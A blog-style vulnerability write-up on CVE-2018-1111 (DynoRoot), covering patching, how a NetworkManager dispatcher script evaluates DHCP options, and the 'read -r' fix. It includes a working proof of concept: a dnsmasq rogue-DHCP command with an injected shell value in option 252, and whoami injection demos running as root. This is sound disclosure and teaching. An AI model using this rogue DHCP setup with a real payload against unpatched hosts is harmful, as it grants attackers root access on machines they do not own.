CVE-2018-1111: DHCP command injection
A few days ago Red Hat patched a serious DHCP client vulnerability, the official reference is CVE-2018-1111, however it's also referred to as DynoRoot. The flaw affects Red Hat Enterprise Linux and CentOS systems using NetworkManager, which has been configured to obtain network configuration via DHCP.
A malicious DHCP server on the local network can exploit this vulnerability to gain full root access! If you have any CentOS or RHEL systems which use DHCP, make sure you patch them as soon as possible.
Patching affected systems
Thankfully fixing vulnerable systems is very straightforward, just update the
dhclient
package:
yum update -y dhclient
Once the package is updated you can check which version you have installed
using the rpm
command:
$ rpm -q dhclient
dhclient-4.2.5-68.el7.centos.1.x86_64
The exact package will vary, Red Hat have a full list of applicable security errata, and package versions in their CVE-2018-1111 database entry. It's also possible to check the RPM change log for the fix:
$ rpm -q --changelog dhclient | grep CVE-2018-1111
- Resolves: #1570898 - Fix CVE-2018-1111: Do not parse backslash as escape character
Hopefully any systems you manage should now be patched, the rest of this post is going to go into how the vulnerability works, and what was patched to fix it.
The vulnerable script
NetworkManager executes several dispatcher scripts in
response to network events, such as an interface being assigned an IP address
via DHCP. On CentOS 7 the vulnerable script,
/etc/NetworkManager/dispatcher.d/11-dhclient
contains the following lines:
eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
)"
If the network connection used DHCP for address configuration, the received
options are passed to the dispatcher script via environment variables prefixed
with DHCP4_
, for example:
DHCP4_HOST_NAME=foobar
The 11-dhclient
script then uses parameter
expansion to set optname
and optvalue
variables
to something similar to the following:
optname=new_host_name
optval=foobar
Finally export $optname=$optvalue
is evaluated for each set of variables. A
good way to get a feel for how this works is to play with the following script:
#!/bin/bash
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
Running this with environment variables set works as expected:
$ DHCP4_HOST_NAME=foobar ./example.sh
export new_host_name=foobar
Unfortunately adding a single quote followed by a semi colon makes it possible to add commands after the export command:
$ DHCP4_HOST_NAME="foobar'; whoami #" ./example.sh
export new_host_name='foobar'''; whoami #'
The extra command will then be run after the export command is evaluated:
$ eval "$(DHCP4_HOST_NAME="foobar'; whoami #" ./example.sh)"
root
In the NetworkManager dispatcher script, DHCP4_
variables are taken directly
from the remote DHCP server, consequently they can be used to run arbitrary
commands.
Exploiting the vulnerability
Using the information above, it's relatively straightforward to setup a proof of concept using dnsmasq:
dnsmasq \
--no-daemon \
--interface=enp0s3 \
--bind-interfaces \
--except-interface=lo \
--dhcp-range=192.168.100.10,192.168.100.20,1h \
--conf-file=/dev/null \
--dhcp-option=6,192.168.100.1 \
--dhcp-option=3,192.168.100.1 \
--dhcp-option="252,x'; touch /tmp/dynoroot #"
The command above will run a DHCP server and wait for DHCP requests:
dnsmasq: started, version 2.76 cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt DBus no-i18n IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset auth no-DNSSEC loop-detect inotify
dnsmasq-dhcp: DHCP, IP range 192.168.100.10 -- 192.168.100.20, lease time 1h
dnsmasq-dhcp: DHCP, sockets bound exclusively to interface enp0s3
dnsmasq: no servers found in /etc/resolv.conf, will retry
dnsmasq: read /etc/hosts - 2 addresses
Any vulnerable hosts which sent a DHCP request to the server will be sent a response:
dnsmasq-dhcp: DHCPREQUEST(enp0s3) 192.168.100.13 08:00:27:62:41:2c
dnsmasq-dhcp: DHCPACK(enp0s3) 192.168.100.13 08:00:27:62:41:2c victim
The vulnerable host will then parse the DHCP options and execute
touch /tmp/dynoroot
:
[root@victim]# ls /tmp/dynoroot
/tmp/dynoroot
This example is relatively harmless, however the payload could obviously be changed.
Fixing the script
Fixing the vulnerable script is actually very straightforward, below is a fixed
version of example.sh
:
#!/bin/bash
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read -r opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
The only change made to the script above was adding the -r
option to read
.
This does the following:
Backslash does not act as an escape character. The backslash is considered to be part of the line. In particular, a backslash-newline pair may not be used as a line continuation.
Once backslashes are no longer treated as escape characters, it's no longer possible to terminate the export command:
$ DHCP4_HOST_NAME="foobar'; whoami #" ./example.sh
export new_host_name='foobar'''; whoami #'
$ eval "$(DHCP4_HOST_NAME="foobar'; whoami #" ./example.sh)"
$ echo $new_host_name
foobar'; whoami #